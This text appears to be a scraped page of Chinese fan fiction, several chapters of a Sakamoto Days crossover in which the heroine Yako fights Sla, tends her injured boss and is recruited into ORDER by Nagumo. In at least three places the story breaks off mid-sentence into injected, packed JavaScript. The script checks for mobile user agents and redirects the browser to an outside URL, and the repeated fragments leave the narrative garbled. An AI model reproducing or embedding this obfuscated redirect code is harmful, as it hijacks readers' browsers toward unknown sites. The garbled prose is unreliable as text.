面带稚嫩并略显迷茫的白发少年单手扛着青铜色大锤,我、斯拉、还有他三双眼睛就这样无言沉默地互瞪了三秒,然后默契地开始互殴。 看得出来乐大概也是斯拉那边的人,他和有月憬的关系颇为亲密,看清斯拉是以何种姿势被我钳制在身边后,便目光一凛率先攻向我的躯干。 他的攻击十分迅猛,剧烈到让人怀疑他是不是真的想要营救斯拉一样不管不顾。几息之间,他就迫使我不得不松开抓着斯拉的手。 ——我本人暂时还不想弄死斯拉,但这小屁孩再打下去斯拉说不定就要遭殃了! 2. 由此可见,这个斯拉内部真是一群怪人! 武将肆无忌惮搞破坏,丝毫不顾斯拉安危,那边的西装男可能算是文臣,我留意着他一直在休息,乐呵呵观着战,导致老板也不会主动去攻击没有战意之人。 而主公本人被我放开之后,只是风轻云淡地理了理衣领,仿佛乐已经乘胜归来一般拍了拍他的肩膀,然后对我极其生硬别扭地咧了咧嘴角。 诶?不是?我、你们……? “你可没和我说过这里有个那么强的老头啊……” 乐抬起泛红的眼尾有气无力地瞥了斯拉一眼,手上却毫不放松地握住武器,直直对上从另一侧扬尘中慢慢走出的老人。 斯拉捻动额前掉落的碎发,微微叹了口气:“杀联的幽灵来了么……阿乐你看着点打打吧,准备撤了。” “欸…是我想打的吗……” 说着话他却已经冲上前对上了老人的刀光。 3. 刀光。 我理应趁此机会重新把毫无防备的斯拉打倒的,然而视线却全然被那一老一少的战斗吸引去了目光。 好帅呀。老爷爷的刀法。 好帅呀好帅呀好帅呀好帅呀好帅呀好帅呀好帅呀好帅呀好帅呀!!!!!!!!!—— 我抽空瞟了一眼当时他二人破墙而入的地方,果不其然那里隐隐约约能看出一道整齐的切口。此时再回看他俩快速而精准的战斗,我只能说,这才是真正的艺术。 我又想起了那一天我终于下定决心要开始练太刀的初衷。 老爷爷也是太刀侠吗,那么我将无条件拥护他。 “喜欢看吗?……”斯拉突然歪头看着我,随即向那边没头没尾丢下一句话,“阿乐,你再多打一分钟再撤。” “我一只手都没了诶老大……不过一分钟也无所谓啦。” 越来越多的问号窜上了我的头顶:这样就可以当领袖了吗?那我这样的是不是也可以? 还是说其实他有什么阴谋? 我试图理解但是失败了。 4. 当我再次拔刀时,斯拉似乎早有预料,轻巧地往后一跳便躲过了我的攻击。 眉心一蹙,我想起刚才所见老爷爷的刀法,明明那只是这个世界的普通的刀,他却能将攻击范围扩大到那种程度,明显是将刀气强大到了巅峰。 倘若我也能变强,那斯拉绝对逃不了了吧? 我追着斯拉一直跑,爆炎刀炸开的火星子在耳边噼哩啪啦响个不停。 老板也终于找到机会出手,他帮忙截住了斯拉的退路,一时间陷入了僵持之势。斯拉如今并没有想和我们继续打下去的欲望,而老板也是那种“敌不犯我我不犯人”的心态,想着能以理服人那就尽量少动手,因此我也只好压抑下拿斯拉开刃的想法,默默等待老板要说什么。 “这次你别想跑掉了。” “就算还是被悬赏,我也会连带着赤尾的那份把你交给杀联。” “哦?真的?坂本君,其实你对未来也很迷茫吧,你真的只是想把我交给杀联吗?” 斯拉的嘴角保持着一个刻板的弧度:“在我看来,如今的你,有些太自不量力了。” “所以你打还是不打?”我真是不耐烦了。 和老板交换了一个眼神,我俩前后夹击一齐进攻,由于料不准他究竟有什么计谋,所以我俩都是铆足了力气。 5. 啊,昨日重现了。 就像在游乐园打硬汉大叔那回一样,我没带缓冲珠。 老板被我的居合打断了攻击,一下没站稳撞到了墙上。虽然斯拉与此同时也被居中,嘴角溢出一线鲜血,但我没空再管他了——怪物老爷爷攻过来了! 近距离看时才发现,老人甚至没有睁开眼,乐节节退后,用铁锤的根部抵着地面急停,擦出难听的金属嘶吼声。 老人的刀插在刀鞘里,我暗道一声不好,下意识飞身去了老板身边将他一把捞起,随即带到了一旁的空地。几乎是我们从那个位置离开的同一时刻,一道发白的刀光闪过,其轨迹长得可怕,一直从远处延伸至了我们脚边。 老爷爷对乐的单体攻击由于太过强悍,实则演变成了群体攻击啊! 一只手伸过来合上了我惊掉的下巴,老板此时被我抱在怀里,双腿无力地扑腾了两下,两眼无光:“夜子,让我下来。” “哦,哦哦。” “我们现在该怎么办?”我喃喃自语道。 战斗已然白热化,那边打得难舍难分,斯拉指挥着乐要赶紧撤退,然而老爷爷并不给他们这个机会。 我略一思索:“要不我丢个闪光弹过去吧?反正老爷爷闭着眼睛应该没影响。” 老板却劝我别这么干:“篁老爷子是靠攻击与杀意锁定敌人的,别一不小心被他识别成任务对象。” 这也太酷了吧……他是能直接自带自动锁敌吗? 6. 说什么老板也不让我一个人参与那边的战斗了。 他说就算是我也有可能会被篁误伤。 一时间,我们既无法战斗又不舍得离开。 不过朝仓信终于派上了用场:“那个斯拉我在研究所底下见过!……他明明就一个人却有两道不一样的心声。” “什么两道心声?” “具体也听不太清,但音色听起来一个是他现在的样子,一个像是变声期的沙哑男高中生?” 然而未能细想,那边的追逐战便要烧到了我们这边。 斯拉较之先前狼狈了许多,他用手背擦了一把脸颊边流下的血,轻轻说了一句却没和人对上眼神:“宇田,有劳你了。” 名为宇田的西装男眯眼舔了舔嘴角鲜血:“没事。举手之劳。”随即就不管不顾地翻身捉住篁动作着的手臂,另一手伸进西装内袋似乎要拿出什么。 一切都发生得太快了。 7. 宇田自爆了。 那一瞬间,光和热从他单薄的身体中爆发,撕裂。 身体下意识反应,作出水月架势抵抗,待光芒散去后,只留下一地烟尘与瓦砾。 劈开头顶掉下的房屋碎片,我一边向后寻找着老板他们几人的身影。那个时候我应该是站在他们身前的,绝对、绝对能帮他们抵挡一些伤害的吧! “咳、咳咳……” 阿帕特率先直起了身,我拎着他的衣领让他站起来,随即在遮盖他身体的墨绿色围裙 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我提着刀小心翼翼地一路劈砍过去,但总感觉握刀的手感怪怪的。把刀翻来覆去看来看去也没发现有何怪异之处;好在刀没事,只是爆炸的时候有几块玻璃块扎进了我手臂各处。 迅速将一共七块碎片取出后我重新握紧了太刀,再次转身时斯拉和乐果不其然闪现在我面前。 斯拉垂着头咳了一声,他大口喘着气,略显迷茫地朝四周看了一圈。 这个男人,是我的仇人,是我的讨伐对象,我却莫名恨不起来他。 我发觉他眼底有一丝或许是悲戚的色彩,他用这样的眼神淡淡从我身上划过,他说: “可以的话,请你一定要来找我……也或许是杀掉我。” 爆炸不知让我的同伴伤到哪儿了,尤其是坂本太郎,我不能就这样丢下他们然后自顾自追上斯拉。 我说:“你等不了太久了。我很快就会来杀了你。” “那很好呀。”斯拉转身越走越远,“阿乐,拿好你的手臂,我们走。” 乐微弱地张了张嘴,或许是想说什么,但最终也只是抿唇放下一个不知所以的眼神,被憬搀扶着离开。 8. 好不甘心。 9. 但是我也只能让这件事告一段落。 我从倒塌的废墟中找到了篁老爷子,他以刀为杖,静静伫立了好久,似乎是再也感知不到波动后便一瘸一拐着转身离开了。 也像是听不见话一样,对我说的问题毫不理睬。只是那背影竖着刀在地面上轻轻敲击了两下,然后我目送着他消失了。 “夜子,不用在意……咳,老头向来就是这样的、咳咳!” 老板猛地咳出一口鲜血。 “啧。”我左眼眼皮抽动,决心不管怎样都不会让他再拒绝了。 “老板,你这点分量对我来说真的不重,你听我的别动好吗?我也想做点什么。” 我目光一直向前,就这样抱着他一直走到了杀联大门口。 老板终于闭嘴了。 10. 走出门,正好一辆黑色出租车也开到了杀联楼下,我让朝仓信赶紧招呼出租车停下,送他们几人去医院。 可是司机却先一步下了车。 又是南云。 他少见又少见地面色凝重,脸色阴晴变换不定,最终还是俯身走到横着的坂本太郎脸边上,挤出一个一如既往欠揍的笑容: “呀,坂本~海拔一米的空气呼吸着舒服吗?” 48.难以分清界限 1. 南云突然出现,开口就挑衅了老板一番。我能感受到老板在我怀里肌肉紧绷着,没有立刻反击,而是推了推眼镜默默来了一句: “南云,你笑起来好丑啊,我要晕了。” “夜子,让我离他远点。” “啊,好的。” 我迅速后退了一步。 2. 不管怎样斗嘴,南云还是尽职尽责地让我们上了车,准备带去附近的医院。 “没必要去市里。”老板轻轻踢了脚前面南云的座椅,“就憩来坂医院好了。” “行~” 行车途中,我也问了南云为什么会如此恰如其分地出现在我们面前。 他说:“哎、这也不重要,之后再说……现在我可是忍着晕车在载你们一车伤员哦,你们都得听我的。” 我说行,然后往他嘴里塞了一颗薄荷糖。 憩来坂医院是我们当地一家亲民医院,从杀联大厦开过去却因此要花上不少时间。 柔和的车载音乐,行车中的轻微颠簸,空调出风口扣着的木质香熏,这一切都使人昏昏欲睡。后排几人都闭上了眼,朝仓信甚至还在睡梦中发出微弱的哼唧声,我回头看了眼他们,自己却焦躁得有如一团乱麻。 南云调低了些音量,他问我,怎么了烈焰。 我不知道要说什么。我也不知道我在想什么。一切都乱糟糟的。 你什么都不用想。你做得已经很好了。他说。 他的身躯在汽车狭小的空间中略显拥挤,南云专心看着前方的路,侧身下去从旁拿出一样东西。 “睡不着吧,我的刀借你玩玩?” “好。”我闷闷地应了句,伸手接过他的六德刀,凭感觉乱按一通。 南云噗嗤一声笑了出来,他拨动我头发的动作实在太过自然: “感觉在逗狗。” “我有狗了。我不是狗。我是狗主人。” “嗯,很好,我知道,小黑嘛。” “……我想回家。” “我知道。”他停在红灯口,“我们不是一直在努力吗?” 哎。我说不出话来。 去憩来坂医院的路可真远啊。 3. 排队,看诊,安排住院。 因为之前有过带小花去看病的经验,所以我倒也算是比较熟悉这里。 我陪着朝仓信和阿帕特去急诊室处理伤口,南云说那这样坂本就交给他负责了。 两人受了些外伤,没什么大碍,刚一把伤口包扎好便问我老板现在在哪里。我磨蹭着通知完葵姐医院这儿的事,便顺手给南云打了个电话问清楚病房位置。 “3302房。我知道了。” 热闹的病房,洁白的病床,老板被南云按在床上不得动弹,床尾的病历卡上规规矩矩写着“坂本太郎”几字。这时我才真切地意识到,老板被我害得住院了,他从来没有生病去过医院。 “说不明白的事待会儿再谈。” 南云笑嘻嘻松开了手,像是在转移话题似的,交代着我有关病人坂本太郎的注意事项。 “住院医师待会儿还会来一趟,不用担心啦夜子,坂本这家伙转眼就能活蹦乱跳的。” 我点头应了下:“老板,我告诉过葵姐了,她马上就到……啊,有新消息,她说到医院门口了。” “辛苦了。”老板简单回道,眼底有说不出的深沉意味。 “那,我去接葵姐。” “啊我去吧我去吧,夜子前辈你辛苦了!就请好好休息吧!” “说到休息的话,你自己才是!好好坐着吧!” 我预备出门,刚走出几步就想起一些不妙之处。愣了下我重新返回门口,朝某人招了招手: “南云……” 他愣了愣,之后随我到了走廊。 空气里有挥之不去的消毒水味,我侧身把通道让给一位坐轮椅的老太太,抬眸对南云说: “你的外套,能借给我吗?” 南云在这个季节依旧穿着那雷打不动的风衣,原本是我嘲笑的对象,现在我却万分感激。他并未多加考虑便脱了下来,温热的体温随着掀起的气流覆盖上我肩头,做完这一切才开口问我: “冷?不,不对……你在遮掩什么?” 语含怒意,他压低了声音又把我拉远了些,似乎想明白了什么:“给我看看。”随即几乎是半强制性拉住我的手腕。 “……真没什么呀。”我低垂着头,任他摊开我的手臂内侧——只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472521|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那七个小碎片造成的划痕罢了。 他没说话,我便继续解释着:“已经喝过回复药了,这种程度一睁眼闭眼就消失了。” “这种程度?”他将我的手抬到与视线齐平,随即撅嘴冷笑了两声,“那你怎么不敢给老板娘看?” 我吞吞吐吐说出答案:“因为小葵肯定会很担心我……”不想让她忧心,更不想要这样没能保护好大家的我,反而被葵细心呵护…… “那我呢?” 南云还是很喜欢捏住我的下颌,他说:“你是觉得我不会担心你吗?” “……可你是杀手吧?这种小伤对你来说根本毫不起眼吧。” 他难得露出一种「我跟你没话讲」的神情,略显无奈地把我手放下:“烈焰,现在已经不是这样了。” “从这里到这里,还有这里到那里……”他重新恢复了那副自信而张扬的笑容,手指尖在阴影中抚过我的皮肤,“全——都归我管理!” 他为我穿上了风衣,在我耳边低语解惑:“因为我们是朋友啊。” 这是不是有哪儿怪怪的?是说他要兼职美容师什么的吗? 我眨眨眼:“哎,都行吧。我得走了,葵姐还在等我。” 4. 穿过拥挤的人潮,我总算接到了在大厅中央查看地图的葵。 尽管她在掩饰,不过还是能看出她对老板的担心,她说少糖在家蒸肉包,加热晚饭后稍后就会带着小花赶过来。 南云的外衣对我而言有些宽大,幸而葵或许是太着急了,并未发现这怪处,我不由得松了口气。 回到病房,朝仓信和阿帕特一人蹲在移门一边默不作声,好似两尊门神。 “不知道南云要和坂本大哥秘密谈什么话,总之就是把我们赶出来啦。” 朝仓摊手道。 说不在意是不可能的,但我敲了敲门便径直推门而入。当务之急是让葵姐放心。 见我们进门,南云似乎也正好说完,他笑了笑在老板肩头示意性拍拍: “那我今天就先带走了。” 5. 正摸不着头脑,就看他又一次朝我走过来: “夜子,带你去个地方。” ……什么?要带走的东西原来是我吗? 49.另一个选择 1. 南云曾经对我说过,不会再对我说谎,然而这就意味着他将有更多时候对我打马虎眼——这也算是另一种坑蒙拐骗吧? 有了老板的许可之后,他更是无法无天,仿佛料定了我通常不会拒绝他。 “说得好过分呐,明明也问过你可不可以跟我走的!” 他又不说目的地,我当然只能跟着走啊! 2. 然后就走到了深巷暗处的一个酒吧。 “你知道我不能喝酒的吧……” 我戳了戳南云的手臂,脑中又回忆起上次那段堪称灾难的往事。 他看样子也和我想起了同一个场景,捂嘴盯着我停在原地笑着,直到我的拳头即将触及胸口时才顺势后仰,侧身揽住我肩膀: “有果汁的。没有喜欢的话,要我去便利店一趟吗?” “这倒也不用……”我说着便点了一杯橙汁,“带我来这儿,有什么特别的吗?” 我们在昏暗的沙发座落座,低沉悠扬的乐声仿佛纱帘迷蒙地盖在我们头顶。南云嫌地方不够挤似的,留着对面的位置不坐,非要挤到我身边。 其实我预备着顺口说他几句,但他反倒是坐正了,过长的鬓角垂落让我看不清神色。 “我想问你几个问题。” “你一直在为了什么而愧疚?” 愧疚。 愧疚…… 老板乏力咳出鲜血的样子,朝仓眼中将要坠落的泪珠,葵匆匆赶来没来得及擦去的汗水。 那些画面在我脑海中闪回着,我垂首仿佛透过南云的风衣看见了手臂上那几道微不足道的伤口。 “我没保护好大家……而且还说了谎话……” “可是坂本他已经很高兴了。” 即便坐在同一张沙发,南云始终和我隔着半米的距离,神情像是在压抑着什么。 他说:“他那张死嘴从来没说过吧,他很庆幸三年前你能留在他身边,能陪伴着坂本家的成长,能让商店越来越好。” “所以说,保护什么的,他最感激的,是他能保护好你啊……虽然我觉得其实是烈焰你自己很厉害才没倒下的。” 我的大脑迟缓地转了转,这是他在医院几次和老板谈话的内容吗? 这个逻辑我暂时还无法消化,只好一味地盯着南云的眼睛,直到他把我紧紧抠着皮质沙发边的手松开,我才猛地释放了一口气。 “我,也是被保护的那个?” 喃喃自语,我琢磨着,渐渐转过弯来。 “他会保护你,我更会保护你,喜欢你的所有人都想用自己的方式保护你。” 南云展现出了我从未料想过的靠谱成年人的一面,他接着说道:“也正是这样,你才会想要保护这样的我们,对吧?” 我想起了第一次在商店搬运货物时差点砸了脚,是老板用快到看不清的身姿接走了纸箱,在炎火村、在埃尔迦德,我的伙伴们无数次冒着危险脱队去御龙,为我博得胜利的先机。 并不是只有我一个人在孤军奋战。 而我的存在本身,竟然就可以对大家有这样强的作用。 “哎、别哭呀。这幅样子还是第一次见……” 一只温厚的手在我眼下轻柔地移动着,模糊的视线中,南云的脸近在眼前。我眯了眯眼。 “对不起呀。”我看着浅色风衣上晕染开来的深浅水痕,“你的衣服被我弄脏了。” “不脏。我反而很开心。” 侍应生恰到好处地端来了两杯玻璃杯装着的精致饮料,我拿起橙汁,仅一口便下降了一半的高度,但南云却迟迟没动他面前的那一份。 3. “那,接下来一个问题就是,你……只是说如果,没有任何‘坂本’因素。”他捏了捏眼角,“如果你来到这个世界后,第一个遇见的人是我……” 我毫不迟疑地回答:“你会觉得我是坏人然后找我打架,然后我就不知不觉把你打死了。” “……也是。”他无奈地扯了扯嘴角,“那假设我也不存在好了。你会不会用尽一切手段,完成你那个突然出现的任务?” “会。绝对会。现在也会。” 这个问题更是用不着思考。 然而这个假设是根本不可能存在的,我并不明白南云问出这话的意义。 只闻他轻声笑着:“好,那就好。那我也会用尽一切手段。” 4. 南云要走了我的手机,动作飞快操作一通,把手机还给我后开口: “其实这里全是一个我们内部约定俗成的集会点。然后我叫了点人来。” 什么人需要用我手机? 低头看去,只见我为数不多的联系人聊天页面亮了亮,赫然是两则群发消息。 『定位』 『我是夜子,我被南云绑架到这儿了,速来。』 群发对象是神神廻以及大佛。 哈? 5. 南云这样做一定有他的道理。 而且这消息也已经无法撤回。 他说要等到人到齐才会问出第三个、也是最后一个问题,一直在这儿干坐着也不是个事,我思索半晌,想起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他扭头对我绽开一个不深不浅却可以说是眷恋的笑容,一把捞起台面上那杯金黄透澈的液体,闭着眼灌了下去,一边还被呛到两次,些许散发着浓重醉意的液珠从他唇角滚落至颈间。 纤长的脖颈仰起,喉结滚了两下,他挣扎着开口: “第三个问题……我是说真的,你,要不要加入我们?” “呐,神神廻,还有大佛,你们也觉得这样比较好吧……” 50.感情牌不是这样用的吧 1. 加入ORDER? 这什么酒啊?喝了这么快就见效了? 我连忙摆手:“不不不,这怎么能行呢?我连杀手都不是啊!你们ORDER不是精英小团体吗,怎么是我说进就能进的!” “你不用管可行不可行,有我在这不是问题。”南云慢吞吞地说。 “……就算这样,我也已经是猎人公会的成员了啊,我有证明的!” “你是指那张现在和杀手证长得一模一样的‘假证’吗?” 我沉默了。 2. 几分钟前,神神廻和大佛风尘仆仆赶到卡座边,怨气冲天恨不得给南云来一个抱摔。 见我安然无恙坐在一边,才不知所以地落座于对面,结果还没点单便听见南云这惊天动地的邀请,换做是我我也摸不着头脑。 大佛眼底压着黑漆漆的空洞神色,而神神廻面色不善,向南云投去一个怜悯的眼神后,挽挽衣袖说: “人家本来过得好好的,你还是降低发疯的频率吧。” “神神廻先生,但是夜子好像哭过了。” 大佛说完便走了过来,将我的头靠在她冰凉的皮质长裙,纤细的手一下下梳拢着我的发丝。 “……你干的?” 神神廻皱眉,不确定地望着南云,而后者只是沉默着摇摇头,然后又点头,引得神神廻啧了声。 不是这样的。 我下意识蹭了蹭大佛的手掌心,视线在几人之间徘徊着:“南云也是好心,总之我没事啦!” “那他骗我们过来的用意是……”神神廻将金发拨到脑后不解道,“就是为了说这么句话?” 3. “我是认真的。” 那双黑色的眼瞳不带一丝杂质,直直回望过去,“都听我说。” “……夜、烈焰,可以从你的身世讲起吗?” 而后,南云按压着太阳穴、一边语速极快而不失逻辑地把过去发生的很多事总结陈词——以“烈焰,她是个游戏角色”开头,以“我们得帮她完成任务,让她亲手杀了斯拉”结尾。 他弯下腰,伸手从大佛怀里将我夺了过去,仰头看着我的眼睛: “我是说,你那个似是而非的任务描述,其实就是和ORDER、秩序有关吧。如果是我们的话,就可以掌握你所需要的一切资源,情报、人员、更强的战斗。” “你很需要这些吧,烈焰?” 他说的似乎没错,并且每一点都针对着我的困境量身定制,他的话语与其说是邀请,不如说郑重得好似一场真挚的交易。 “但是对你们没什么好处吧,我好像也不太适合进制度内的样子。” “好处有的。是有的。”他说,“是私情。” 4. 大佛挤在我身边坐下,她眨眨眼,问出了一个思量已久的问题: “你会开车吗?我以后要坐你的车一起去干活。” 啊?大佛已经默认了吗? 只是呆愣这片刻,她的思绪便飘到了“是不是住在一起更方便去上班”这回事。 我:“等一下我没说……!” 大佛:“给你的门牌上应该写‘夜子’还是‘烈焰’?要不还是睡在一起好了……” 她后知后觉我一直没点头回答,便迟疑地歪头问道:“你不想和我……” “不不不不是、我……” “那太好了。”她又一脸幸福地畅想起来。 神神廻终于开口了:“过来坐。”他叹了口气,拍了拍身边的空位,看样子也有话要讲。 我吞咽着口水,缓慢地起身挪去,瞥了眼南云,他正撑着下巴笑眯眯地目送着我过去,脸颊两侧已然染上醉酒的红晕。 “不想要的话就拒绝。”神神廻微微蹙眉,神情格外认真地对我说着,“那两个都是不讲道理的小孩,不用管他们。” “那神神廻先生是怎么想的呢?” “……如果是那样的话也不错,ORDER啊。”他别过头去嘟囔着,随即摆摆手如同迅速反悔了一般,“但是你不用顾虑我们几人,你的想法才最重要。” 他这样说的话,反而更那个了啊! 我心中的天平,已然向某一边倾斜。 5. 眼泪已经流过了,大脑也已清醒不少。 实际上,我的抗拒只是来自于成为ORDER就必须与商店的大家分开的不舍;然而道理我都明白,如果要保护好大家的话,如果不能在每次危险时刻都让大家平平安安的话,我果然还是需要率先把危险本身解决。 我想南云当时和我说那番话,也是这个意思吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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意识到这一点的时候,我仍感觉到一万分的不真切。我蹑手蹑脚钻进帐篷,打开那盏温暖的小夜灯。 这家商店接纳了很多人,杀手和黑手党走进商店,再次走出时变成了平平无奇的小员工。 而我,坂本商店的第一位员工,走出玻璃门,即将成为不被家规允许的杀手。 51.大哥我不跟你混了。 1. 坂本商店闭店一日。 玻璃门前挂着的告示牌这样写着。 2. 夜里做了一连串不可名状的噩梦,醒来时已经日上三竿,我翻身起床穿衣换鞋,下意识拿起摊在靠垫上的围裙时,才想起来没有必要了。 或许是因为我睡懒觉并不常见,葵他们早早便前往医院没有叫醒我,只是在柜台给我留下了一张字条: “夜子,我们先去医院看你老板啦。早饭有三明治和肉包,都在冰箱里哦。” 啊。 有一种焦虑从心底席卷全身。好似皮与肉的交接处被鼓风机狠狠注入饱含柳絮的空气。 难受。 狼吞虎咽吃干净了刚加热出来的早餐,我深呼吸蓄力终于把自己从座位上拽起来,点开消息页面,最顶上南云给我零零碎碎发了些消息: 『已成功。』 『90%』 『哎呀,不管了!醒了到这里来,还剩最后的10%。 ̄3 ̄』 『(定位)』 『猫咪舔毛.gif』 2. 南云发来的定位藏在弯弯曲曲的小道里,我摁着手机屏幕不断放大地图,然而画面上的红点依旧是停在“桃太郎寿喜烧”和“FIX精品女装”中间不动弹了。 这两家店中间有空位吗?难不成是要从后面绕进去?是什么幽灵房间吗? 我皱眉在街上走来走去,四处张望着寻找或许存在的小路。这一块街区莫名荒凉得很,想要找人问个路都成困难。 南云到底在哪儿? 我缩在店铺屋檐下的阴影里,正欲打电话给他再一次确认,便感知到一片更为宽大的阴影覆盖上了我的头顶。 方方正正的黑色皮鞋,膝盖处微微发白的修长西裤,银色粗铁链压盖着的笔挺西装……好一个冲天的刺猬头! “呃,小姑娘,你是迷路了吗?” 男人黑着脸,面部线条凌厉如同雕塑一般,然而当我后知后觉意识到他似乎是个好心路人时,他已经后退一步,微微别过脸挠头说: “那个,我不是坏人啊。” “只是长这样罢了。” 我连忙摆摆手:“没事啦……不过我确实有点迷路,请问你知道这里是在哪儿吗?” 我又一次放大定位地图上的红点,向好心路人递过去屏幕,他探头眯着眼看了下,神色便蓦地一凛。 “是杀手?” 我眨眨眼思索一瞬:“现在还没有入职……有人叫我去这个地方哦。” 男人插着口袋,似乎心下了然:“唉,那你就跟我走吧,我也要去那儿。那里是杀联的一个秘密备用基地。” 3. 好心路人名为豹,虽然面色凶狠,实际上却是一个善心人。 他看起来是个不怎么擅长说话的人,除了主动搭话帮忙以外,他一直就走在我前面,闷闷地没说过一个字。 所谓秘密基地,就是指埋在地下的意思。他带我走进寿喜烧的店铺,穿过门廊和重重拐弯,终于来到了内部一个不显眼的电梯间。 肩并肩站在电梯那密闭的小空间里,虽然我自己的心情也不算很好,但本能还是让我思索着开口打破这种尴尬的沉默: “说起来,你认识南云吗?就是他让我来……诶、阿豹你的脸色怎么不太好?” “你是说,那个南云吗?” 随着电梯“叮”一声,他不禁闭目倒抽一口气,扣着指虎的大手指向缓缓打开的电梯门。 黑发的男人正眯眼乐呵呵笑着。 我说:“南云,你找我来什么事儿啊?” 身后阿豹缓缓放下了抬起的手。 4. 门口站着一个一米九的挡着去路,身后一个两米的压着后路,我所站的位置似乎格格不入,于是咬咬牙侧身从南云身边走了出去。 我舔舔嘴角:“就算是身高,你们也只是略胜我一筹罢了。” 南云轻笑着开口:“叽里咕噜说什么呢?怎么睡到这时候。” “没什么。”我回复道,“你倒是,为什么要我来这里,要不是阿豹帮忙,我还进不来呢。” “认识?”他挑挑眉,“那也好,毕竟是未来同事。” “他/她是ORDER?” 这句话不由自主在我和豹二人间脱口而出。 5. 面对现状,我们来到茶水间稍微谈了两句,豹他似乎还没从“路上捡了个同事回来”这件事反应过来,一直局促地喝着那杯超级淡的红茶。 事实上,我也没完全理解,为什么能入职这个传说中的精英团体这样快速到草率、堪称离谱,只见南云耸肩嘟着嘴说: “亏我昨天编了一个晚上的说辞,结果通通白干。” 据他说明,今天早晨他去找杀联会长推荐新ORDER人选时,会长只是打了个哈欠,神色恹恹地点点头说: “哦,杀联这一下确实死了好多人了呢,时不时来点新血液也不错哦。” “既然是南云君你推荐的,想必绝对很了不起吧。” “武器还是太刀的话,说不定这下可以把——哦呵呵呵,说不定是下一个篁老爷子呢。” “就这样。”南云结束了那夸张的演示,笑嘻嘻坐回原座。 我瞪大眼睛:“就这样?” “就这样——”南云双手环臂,向后靠在椅背上,“你不知道吧,我们会长呢一直是这么一个很奇怪的男人。” “别给我乱说!”阿豹当即给了南云一记眼刀。 “呜哇夜子你也觉得这人很可怕吧!” “没有吧,阿豹人不是超好的吗?”我皱眉再一次打量起一旁的豹,“他乐于助人,主动帮迷路的我带路,担心把我吓到还特地和我保持距离,而且……” “别说了。”说出这话的阿豹依旧局促地低头看地,面带一种复杂和惊恐。 我便最后补充了一句:“而且还很谦虚吧。” 6. 后来我们又简要聊到斯拉那场杀联总部战役,当得知坂本也参与其中并因此卧病在床,豹掂量了一下便敲定说要去一趟憩来坂医院问问情报。 南云拍拍他的肩膀,自说自话就安排了接下来一起去探望坂本的日程。 阿豹先行一步,说是去取什么财报审批单,于是趁着这段时间,南云便准备带我去办些必要的手续,比如说把我的“假证”换成真的。 “证件照你想今天就拍了吗?” 南云和我一起挤在间小小办公室里,对着职员的电脑询问道。 我点了点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493500|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 坐在蓝色的背景布前安静等着摄影师助理捣鼓我的头发,南云靠在一边的墙壁: “话说,你准备证件上用哪个名字?” “咔嚓”一声,证件照极其快速地诞生了。 我倒是还没想过这个问题。 不过很快地,我就不用考虑了。 戴眼镜的职员姐姐看向登记的屏幕,边打字边喃喃自语:“烈焰啊……这个编码是外国杀手吗?OK,杀手证已经更新好了。” “诶?”我和南云一齐探过头去。 然后对视了一眼。 我指着自己:“我,原来是杀手吗?” 原来不是假证啊!等一下,那难道说猎人公会已经征服杀联了吗? 职员姐姐大概是被突然出现在电脑上方的两张脸吓了一跳:“是,是啊……过两天您可以再次来这里领实体杀手证了,或者也可以留下地址选择邮寄……” 我磕磕绊绊说不用了我选择自提,然后便被南云拉着走了出门。 我说:“这咋回事儿啊?” 南云也是一副不明白的样子:“嘛,搞懂了也没用吧?说不定是你的游戏世界给你自动打的补丁?” 我似懂非懂地点了点头。 7. 和豹在电梯口汇合后,我们乘车前往憩来坂医院。 在车上,我依旧有些恍惚。如今的我,由50%的怪物猎人、30%的杀手、还有20%的商店店员构成。 违反家规的我,没法再留在坂本家,就算是为了不让小葵为难——她一定会感到为难的,我也得主动离开那里。 “所以,以后我带了帐篷可以住在公司吗?” 我转了转眼珠问起身边两个ORDER,没想到空气却沉默了一瞬。 “你在考虑这种问题?”南云掂量着开口,随即艰难地继续说着,“我们ORDER的待遇还是挺好的……住所什么的,都有至少一套房子的分配哦。” 还是我狭隘了。 不过,在得到住房之前,我能住公司吗? 南云捂着嘴没忍住笑,眼角甚至挤出几滴泪花:“这是对家住公司有多大的执着啊……你住我家好不好?” 我沉吟道:“也不是不行。但真要说的话,我还是住大佛家吧,那天她好像很期待的样子。” 随即他撇撇嘴,小声嘟囔道:“竟然又输给大佛那家伙了。” 豹在驾驶座调了调后视镜的角度,喉间发出一声不满的哼声:“啧,伤风败俗,烦死了。” 于是南云便自然而然与前座的阿豹调侃了起来,没多久汽车便停在了医院。 我再次确认,原来,我今后的工作环境就是这样的啊。 8. 病房里恰巧没什么人在,两座大山和我就这样站到了老板病床前。 “你们几个……” 